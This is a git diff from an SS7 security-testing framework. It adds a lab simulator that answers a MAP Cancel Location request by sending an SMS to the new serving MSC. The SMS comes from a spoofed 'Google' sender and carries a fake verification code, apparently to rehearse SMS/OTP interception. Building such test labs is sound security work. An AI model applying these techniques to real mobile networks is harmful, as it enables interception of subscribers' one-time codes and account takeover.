+import com.rodan.lab.ss7.msc.usecases.model.location.LocationPslSimOptions; import com.rodan.library.model.annotation.Module; import com.rodan.library.model.error.ApplicationException; import com.rodan.library.model.error.SystemException; diff --git a/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/vlr/usecases/model/Ss7SimulatorOptionsFactory.java b/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/vlr/usecases/model/Ss7SimulatorOptionsFactory.java index b9f7fd5..fbc2560 100644 --- a/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/vlr/usecases/model/Ss7SimulatorOptionsFactory.java +++ b/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/vlr/usecases/model/Ss7SimulatorOptionsFactory.java @@ -22,7 +22,8 @@ import com.rodan.intruder.ss7.usecases.model.Ss7ModuleOptions; import com.rodan.intruder.ss7.usecases.model.Ss7ModuleOptionsFactory; import com.rodan.lab.ss7.kernel.usecases.Ss7SimulatorConstants; -import com.rodan.lab.ss7.msc.usecases.model.LocationPslSimOptions; +import com.rodan.lab.ss7.msc.usecases.model.location.LocationPslSimOptions; +import com.rodan.lab.ss7.msc.usecases.model.mobility.ClResponderSimOptions; import com.rodan.lab.ss7.vlr.usecases.model.location.LocationPsiSimOptions; import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.error.ErrorCode; @@ -52,6 +53,9 @@ public Ss7ModuleOptions create(String moduleName, LabNodeConfig nodeConfig) thro case Ss7SimulatorConstants.LOCATION_PSL_SIM_NAME -> LocationPslSimOptions.builder() .nodeConfig(nodeConfig) .build(); + case Ss7SimulatorConstants.CL_RESPONDER_NAME -> ClResponderSimOptions.builder() + .nodeConfig(nodeConfig) + .build(); default -> { String msg = "Invalid SS7 module name: " + moduleName; diff --git a/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/vlr/usecases/simulation/mobility/ClResponderSimulator.java b/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/vlr/usecases/simulation/mobility/ClResponderSimulator.java new file mode 100644 index 0000000..5472309 --- /dev/null +++ b/src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/vlr/usecases/simulation/mobility/ClResponderSimulator.java @@ -0,0 +1,107 @@ +/* + * Etisalat Egypt, Open Source + * Copyright 2022, Etisalat Egypt and individual contributors + * by the @authors tag. + * + * This program is free software: you can redistribute it and/or modify + * under the terms of the GNU Affero General Public License as + * published by the Free Software Foundation; either version 3 of + * the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Affero General Public License for more details. + * + * You should have received a copy of the GNU Affero General Public License + * along with this program. If not, see + */ + +package com.rodan.lab.ss7.vlr.usecases.simulation.mobility; + +import com.rodan.intruder.kernel.usecases.SignalingModule; +import com.rodan.intruder.ss7.entities.event.model.mobility.ClRequest; +import com.rodan.intruder.ss7.entities.event.service.MapMobilityServiceListener; +import com.rodan.intruder.ss7.entities.payload.sms.FsmPayload; +import com.rodan.intruder.ss7.usecases.model.Ss7ModuleOptions; +import com.rodan.intruder.ss7.usecases.port.Ss7Gateway; +import com.rodan.lab.ss7.kernel.usecases.Ss7SimulatorConstants; +import com.rodan.lab.ss7.kernel.usecases.Ss7SimulatorTemplate; +import com.rodan.lab.ss7.msc.usecases.model.mobility.ClResponderSimOptions; +import com.rodan.library.model.annotation.Module; +import com.rodan.library.model.error.SystemException; +import com.rodan.library.model.notification.NotificationType; +import com.rodan.library.util.Util; +import lombok.Builder; +import org.apache.log4j.LogManager; +import org.apache.log4j.Logger; + +/** + * @author Ayman ElSherif + */ +@Module(name = Ss7SimulatorConstants.CL_RESPONDER_NAME) +public class ClResponderSimulator extends Ss7SimulatorTemplate implements SignalingModule, MapMobilityServiceListener { + final static Logger logger = LogManager.getLogger(ClResponderSimulator.class); + + @Builder + public ClResponderSimulator(Ss7Gateway gateway, Ss7ModuleOptions moduleOptions) { + super(gateway, moduleOptions); + } + + @Override + protected void generatePayload() { + logger.debug("Generating payload"); + logger.debug("Module Options: " + moduleOptions); + var options = (ClResponderSimOptions) moduleOptions; + var smscGt = options.getNodeConfig().getTargetNetwork().getSmscGt(); + var payload = FsmPayload.builder() + .localGt(options.getNodeConfig().getSs7Association().getLocalNode().getGlobalTitle()) + .sender("Google").messageType("normal").smscGt(smscGt).spoofSmsc("No") + .mapVersion("2") + .build(); + setMainPayload(payload); + setCurrentPayload(getMainPayload()); + logger.debug("Payload: " + payload); + } + + @Override + protected void addServiceListener() throws SystemException { + logger.debug("Adding service listeners"); + super.addServiceListener(); + var localSsn = getMainPayload().getLocalSsn(); // TODO IMP: Check should listen for both MSC & VLR + getGateway().addMobilityServiceListener(localSsn,this); + } + + @Override + protected void cleanup() throws SystemException { + super.cleanup(); + if (getGateway() != null && getMainPayload() != null) { + var localSsn = getMainPayload().getLocalSsn(); + getGateway().removeMobilityServiceListener(localSsn, this); + } + } + + @Override + public void onCancelLocationRequest(ClRequest request) { + try { + logger.debug("Received CL:" + request); + try { + Thread.sleep(3000); + } catch (InterruptedException e) { + } + + var payload = (FsmPayload) getMainPayload(); + var content = "G-" + Util.generateRandomNumber(100000, 999999) + " is your Google verification code."; + payload = payload.withImsi(request.getImsi()).withTargetMscGt(request.getNewMscGt()).withContent(content); + var dialog = getGateway().generateMapDialog(payload); + getGateway().addToDialog(payload, dialog); + getGateway().send(dialog); + + } catch (SystemException e) { + String msg = "Failed to send SMS to serving node"; + logger.error(msg, e); + notify(msg, NotificationType.FAILURE); + setExecutionError(true); + } + } +} diff --git a/src/library/model/src/main/java/com/rodan/library/model/Constants.java b/src/library/model/src/main/java/com/rodan/library/model/Constants.java index 6fae0cf..0f29f17 100644 --- a/src/library/model/src/main/java/com/rodan/library/model/Constants.java +++ b/src/library/model/src/main/java/com/rodan/library/model/Constants.java @@ -92,6 +92,7 @@ public interface Constants { String DEFAULT_CONFIG_FILE_PATH = "app.yml"; int TRANSLATION_TYPE_NOT_USED = 0; + int TRANSLATION_TYPE_TRUSTED_NODE = 0xff; int DIAMETER_ERROR_USER_UNKNOWN = 5001; int DIAMETER_ERROR_UNABLE_TO_DELIVER = 3002; diff --git a/src/library/util/src/main/java/com/rodan/library/util/Util.java b/src/library/util/src/main/java/com/rodan/library/util/Util.java index af0f6aa..2b4b75b 100644 --- a/src/library/util/src/main/java/com/rodan/library/util/Util.java +++ b/src/library/util/src/main/java/com/rodan/library/util/Util.java @@ -327,6 +327,10 @@ public static String generateRandomE214Address(String cc, String ndc) { return cc + ndc + msin; } + public static int generateRandomNumber(int min, int max) { + return ThreadLocalRandom.current().nextInt(min, max); + } + public static String generateE214Address(String imsi, String mcc, String mnc, String cc, String ndc) throws ValidationException { var msin = imsi; if (msin.startsWith(mcc)) {